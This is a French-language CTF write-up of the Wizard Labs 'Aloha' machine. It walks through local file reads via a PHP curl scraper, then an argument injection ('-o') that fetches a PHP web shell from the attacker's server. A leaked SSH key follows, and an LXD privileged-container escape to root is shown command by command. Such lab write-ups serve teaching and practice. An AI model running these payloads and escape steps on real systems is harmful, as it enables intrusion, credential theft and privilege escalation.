Accueil Solution du CTF Aloha de Wizard Labs
Post
Annuler

Solution du CTF Aloha de Wizard Labs

Paix, amour, liberté et fleurs

Aloha est un CTF créé par m.qt et proposé sur Wizard Labs.

Comme de nombreux CTF il s’agit d’un boot2root, l’objectif est donc d’obtenir un accès root sur la machine. Cet accès pouvant être validé via un flag (fichier présent sur la machine), ce qui nécessite les privilèges root sur la machine pour obtenir son contenu.

La validation de ces flags permettent d’obtenir des points sur la plateforme (Wizard Labs). Le principe reste le même que la plupart des writeups écrits sur mon site mais il peut être bon de le rappeler.

Pour finir on a affaire ici à une machine Linux.

Un scan rapide des ports TCP nous indique l’existence d’un site web (Sunny Security) et de serveurs mails (SMTP et IMAP) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Nmap scan report for 10.1.1.60
Host is up (0.045s latency).
Not shown: 65528 closed ports
PORT     STATE    SERVICE
22/tcp   open     ssh
| ssh-hostkey:
|   2048 c3:ec:bc:bc:5f:ac:0f:06:1d:f0:b2:78:b6:0c:27:4e (RSA)
|   256 76:6c:9c:95:67:8f:e0:34:34:33:41:ab:0b:58:cc:b1 (ECDSA)
|_  256 e8:bc:7d:ae:9e:f2:f4:77:12:16:73:9a:da:7e:87:5f (ED25519)
80/tcp   open     http
|_http-title: Sunny Security
110/tcp  open     pop3
|_pop3-capabilities: PIPELINING UIDL AUTH-RESP-CODE STLS RESP-CODES TOP CAPA SASL
| ssl-cert: Subject: commonName=aloha
| Subject Alternative Name: DNS:aloha
| Not valid before: 2019-03-20T21:14:39
|_Not valid after:  2029-03-17T21:14:39
|_ssl-date: TLS randomness does not represent time
143/tcp  open     imap
|_imap-capabilities: SASL-IR ID listed capabilities ENABLE Pre-login post-login have STARTTLS IDLE OK LOGIN-REFERRALS LOGINDISABLEDA0001 more IMAP4rev1 LITERAL+
| ssl-cert: Subject: commonName=aloha
| Subject Alternative Name: DNS:aloha
| Not valid before: 2019-03-20T21:14:39
|_Not valid after:  2029-03-17T21:14:39
|_ssl-date: TLS randomness does not represent time
993/tcp  open     imaps
| ssl-cert: Subject: commonName=aloha
| Subject Alternative Name: DNS:aloha
| Not valid before: 2019-03-20T21:14:39
|_Not valid after:  2029-03-17T21:14:39
995/tcp  open     pop3s
| ssl-cert: Subject: commonName=aloha
| Subject Alternative Name: DNS:aloha
| Not valid before: 2019-03-20T21:14:39
|_Not valid after:  2029-03-17T21:14:39
6060/tcp filtered x11

Quand on arrive sur le site on trouve un lien vers un blog Wordpress contenant ce billet :

Wizard Labs CTF Aloha wordpress blog

On garde en tête le possible nom d’utilisateur alex et on se rend sur l’URL mentionnée :

Wizard Labs CTF Aloha php scraper vulnerable script

On a donc un formulaire qui va charger une URL. Le premier réflexe est de mettre un port en écoute et voir comment est formatée la requête HTTP :

1
2
3
4
5
6
7
8
9
10
$ ncat -l -p 8080 -v
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 10.1.1.60.
Ncat: Connection from 10.1.1.60:49138.
GET / HTTP/1.1
Host: 10.254.0.29:8080
User-Agent: curl/7.58.0
Accept: */*

Nice ! On a ici ce cher ami cURL dont soit le binaire est appelé directement via une fonction PHP comme system() ou via l’emploi d’une librairie PHP dédiée.

Dans tous les cas on sait, comme l’indique la page de manuel, que cURL supporte différents protocoles et notamment le schéma file:// :).

Si on spécifie l’URL file:///etc/passwd on obtient ainsi le fichier correspondant avec la liste des utilisateurs (on retrouve le login alex).

Vu qu’ici un Wordpress est installé on va charger l’URL file:///var/www/html/blog/wp-config.php contenant les identifiants de connexion à la base de données.

Deviner le path de ce fichier n’est pas difficile puisque la racine web utilisée est celle que l’on trouve généralement sous Linux (il peut y avoir des variantes avec htdocs).

1
2
3
4
5
6
7
8
9
10
11
12
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', 'SQLR00T@@' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

Si on regarde le code du scrapper (obtenu de la même façon) on voit qu’il utilise le binaire cURL :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$banned_hosts = array();
$banned_hosts[] = "localhost";
$banned_hosts[] = "127.0.0.1";
if (preg_match('/\b'.$_GET['command'].'\b/', 'http') !== false) {
    die('<b><font color="red">ERROR:</b></color> URL must contain http schema');

}
foreach($banned_hosts as $host) {
   if (parse_url($_GET['command'], PHP_URL_HOST) == $host) {
    die('<b><font color="red">ERROR:</b></color> restricted host');
   }
   if (preg_match('/\b'.$_GET['command'].'\b/', $host)) {
        die('<b><font color="red">ERROR:</b></color> restricted host');

    }
}
// ip ranges 127.0.0.1 - 127.255.255.254 also work using ip2long we can use a range
$ip = '2130706433';
$ip2 = '2147483646';
$gethostname = parse_url($_GET['command'], PHP_URL_HOST);
$hostname = gethostbyname($gethostname);
if (ip2long($hostname) <= $ip2 && $ip <= ip2long($hostname)) {
    die('<b><font color="red">ERROR:</b></color> restricted host');

}
system('curl -s ' . escapeshellcmd($_GET['command']) . ' || echo website not found');
?>

La fonction escapeshellcmd() est suffisamment forte pour échapper correctement les caractères spéciaux du shell (points virgule, backticks, pipe, etc) mais ne considère pas le tiret comme un caractère dangereux.

Grave erreur puisque l’on peut alors passer des options à cURL et notamment la plus connue : -o qui permet d’indiquer où écrire le contenu téléchargé.

On va donc partager un shell PHP via un serveur web temporaire et le faire rapatrier sur notre victime et passant la chaîne suivante au formulaire :

1
http://10.254.0.29:8000/shell.php -o /var/www/html/devloop.php

On obtient ainsi un shell en tant que www-data :

Wizard Labs CTF Aloha webshell

Flowers Powers

C’est journée portes ouvertes pour ce cher Alex :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/home/alex:
total 16
drwxr-xr-x 1 alex alex   78 Mar 21 17:53 .
drwxr-xr-x 1 root root   20 Mar 21 00:14 ..
-rw-r--r-- 1 alex alex  220 Mar 21 00:14 .bash_logout
-rw-r--r-- 1 alex alex 3771 Mar 21 00:14 .bashrc
drwxrwxr-x 1 alex alex   48 Mar 21 17:20 .dev
-rw-r--r-- 1 alex alex  807 Mar 21 00:14 .profile
-rw------- 1 alex alex  816 Mar 21 00:16 .viminfo

/home/alex/.dev:
total 12
drwxrwxr-x 1 alex alex   48 Mar 21 17:20 .
drwxr-xr-x 1 alex alex   78 Mar 21 17:53 ..
-rw-r--r-- 1 root root 1675 Mar 21 00:17 id_rsa
-rw-r--r-- 1 root root  392 Mar 21 00:17 id_rsa.pub
-rw-rw-r-- 1 alex alex  246 Mar 21 00:16 note.txt

On trouve une note laissée par Alex :

sunny has asked me to write a scraper, well i thought what better way to be secure? so i isolated it!

as sunny told me it’s not safe to leave my SSH key on the server, i figured i could leave them here.. how could a container do damage?

  • alex

Ok, se parler à soit même ça arrive mais carrément se l’écrire il va falloir qu’il consulte ce cher Alex :D

La clé SSH dans le dossier .dev permet de nous connecter au système.

Sans l’intervention d’Alex on aurait de toute façon tilté sur le nombre d’interfaces réseau :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
alex@aloha:~$ ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.1.1.60  netmask 255.255.255.0  broadcast 10.1.1.255
        inet6 fe80::20c:29ff:fea2:e614  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:a2:e6:14  txqueuelen 1000  (Ethernet)
        RX packets 3905150  bytes 402718138 (402.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3393684  bytes 1812849712 (1.8 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 11877  bytes 1096864 (1.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 11877  bytes 1096864 (1.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lxdbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.111.212.1  netmask 255.255.255.0  broadcast 0.0.0.0
        inet6 fd42:5578:b81:9fe2::1  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::a445:35ff:fe3d:4f4a  prefixlen 64  scopeid 0x20<link>
        ether fe:d8:75:50:7e:58  txqueuelen 1000  (Ethernet)
        RX packets 2751367  bytes 1416316060 (1.4 GB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3588757  bytes 380879497 (380.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vethF44XWR: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::fcd8:75ff:fe50:7e58  prefixlen 64  scopeid 0x20<link>
        ether fe:d8:75:50:7e:58  txqueuelen 1000  (Ethernet)
        RX packets 2746717  bytes 1446605782 (1.4 GB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3581476  bytes 374440627 (374.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Le cache ARP contient une adresse concernant l’interface lxdbr0 :

1
2
cache arp
? (10.111.212.202) at 00:16:3e:7b:9c:22 [ether] on lxdbr0

On trouve aussi mention de cette IP dans le fichier /var/www/rule suivant :

1
sudo PORT=80 PUBLIC_IP=192.168.0.176 CONTAINER_IP=10.111.212.202 sudo -E bash -c 'iptables -t nat -I PREROUTING -i eth0 -p TCP -d $PUBLIC_IP --dport $PORT -j DNAT --to-destination $CONTAINER_IP:$PORT -m comment --comment "forward to the Apache2 container"'

Ceci explique pourquoi on s’est retrouvé dans le container… Mais comment en sortir ?

Si notre utilisateur a les idées par très claires en revanche ses GIDs sont plus intéressants :p

1
uid=1000(alex) gid=1000(alex) groups=1000(alex),24(cdrom),30(dip),46(plugdev),119(lpadmin),125(sambashare),997(lxd)

Peace on hearth

On trouve rapidement un article de Josiah Beverton expliquant comment s’échapper du container LXD.

Il suffit donc de reproduire les étapes de l’article. La seule différence c’est que les machines sur ces plateformes de CTF n’ont généralement pas d’accès Internet, il faut donc réutiliser un container déjà présent sur la machine.

Le principe de l’exploitation est similaire à ce qu’il peut se faire avec Docker : on va créer un nouveau container sur lequel le système de fichier hôte sera accessible en totalité. Une fois dans le container on est en quelque sorte upgradés au lieu de downgradés :p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
alex@aloha:/tmp/.devloop$ lxc image list
+-------+--------------+--------+--------------------------------------+--------+----------+------------------------------+
| ALIAS | FINGERPRINT  | PUBLIC |             DESCRIPTION              |  ARCH  |   SIZE   |         UPLOAD DATE          |
+-------+--------------+--------+--------------------------------------+--------+----------+------------------------------+
|       | 86656dfa70d5 | no     | Ubuntu bionic amd64 (20190321_07:42) | x86_64 | 121.43MB | Mar 21, 2019 at 5:59pm (UTC) |
+-------+--------------+--------+--------------------------------------+--------+----------+------------------------------+
|       | f68aac3ef6f1 | no     | Ubuntu bionic i386 (20190321_07:42)  | i686   | 122.70MB | Mar 21, 2019 at 5:59pm (UTC) |
+-------+--------------+--------+--------------------------------------+--------+----------+------------------------------+
alex@aloha:/tmp/.devloop$ lxc init f68aac3ef6f1 devloop -c security.privileged=true
Creating devloop
alex@aloha:/tmp/.devloop$ mkdir yolo
alex@aloha:/tmp/.devloop$ lxc config device add devloop mydevice disk source=/ path=/tmp/.devloop/yolo recursive=true
Device mydevice added to devloop
alex@aloha:/tmp/.devloop$ lxc start devloop
alex@aloha:/tmp/.devloop$ lxc exec devloop bash
root@devloop:~# id
uid=0(root) gid=0(root) groups=0(root)
root@devloop:~# pwd
/root
root@devloop:~# ls -alR
.:
total 8
drwx------ 1 root root   30 Mar 21 07:42 .
drwxr-xr-x 1 root root  122 Mar 25 09:41 ..
-rw-r--r-- 1 root root 3106 Apr  9  2018 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
root@devloop:~# cd /tmp/.devloop/yolo
root@devloop:/tmp/.devloop/yolo# ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  tmp  usr  var  vmlinuz  vmlinuz.old
root@devloop:/tmp/.devloop/yolo# cd root/
root@devloop:/tmp/.devloop/yolo/root# ls
root.txt  snap
root@devloop:/tmp/.devloop/yolo/root# cat root.txt
227bc609651f929e367c3b2b79e09d5b

alex@aloha:/tmp/.devloop$ lxc stop devloop
alex@aloha:/tmp/.devloop$ lxc rm devloop

r00ted :)

Published November 17 2020 at 14:59

Cet article est sous licence CC BY 4.0 par l'auteur.